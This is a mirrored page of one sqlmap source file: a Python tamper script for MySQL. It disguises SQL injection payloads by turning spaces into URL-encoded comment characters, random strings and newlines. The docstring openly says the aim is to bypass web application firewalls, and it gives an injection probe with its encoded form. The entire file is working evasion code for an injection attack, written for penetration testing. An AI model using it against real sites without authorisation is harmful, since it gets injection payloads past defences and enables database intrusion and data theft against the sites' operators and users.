mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-30 05:23:50 +03:00
56 lines
1.5 KiB
Python
56 lines
1.5 KiB
Python
#!/usr/bin/env python
|
|
|
|
"""
|
|
Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/)
|
|
See the file 'doc/COPYING' for copying permission
|
|
"""
|
|
|
|
import os
|
|
import random
|
|
import string
|
|
|
|
from lib.core.common import singleTimeWarnMessage
|
|
from lib.core.enums import DBMS
|
|
from lib.core.enums import PRIORITY
|
|
|
|
__priority__ = PRIORITY.LOW
|
|
|
|
def dependencies():
|
|
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
|
|
|
|
def tamper(payload, headers):
|
|
"""
|
|
Replaces space character (' ') with a pound character ('#') followed by
|
|
a random string and a new line ('\n')
|
|
|
|
Example:
|
|
* Input: 1 AND 9227=9227
|
|
* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
|
|
|
|
Requirement:
|
|
* MySQL
|
|
|
|
Tested against:
|
|
* MySQL 4.0, 5.0
|
|
|
|
Notes:
|
|
* Useful to bypass several web application firewalls
|
|
* Used during the ModSecurity SQL injection challenge,
|
|
http://modsecurity.org/demo/challenge.html
|
|
"""
|
|
|
|
retVal = ""
|
|
|
|
if payload:
|
|
for i in xrange(len(payload)):
|
|
if payload[i].isspace():
|
|
randomStr = ''.join(random.choice(string.ascii_uppercase + string.lowercase) for _ in xrange(random.randint(6, 12)))
|
|
retVal += "%%23%s%%0A" % randomStr
|
|
elif payload[i] == '#' or payload[i:i+3] == '-- ':
|
|
retVal += payload[i:]
|
|
break
|
|
else:
|
|
retVal += payload[i]
|
|
|
|
return retVal, headers
|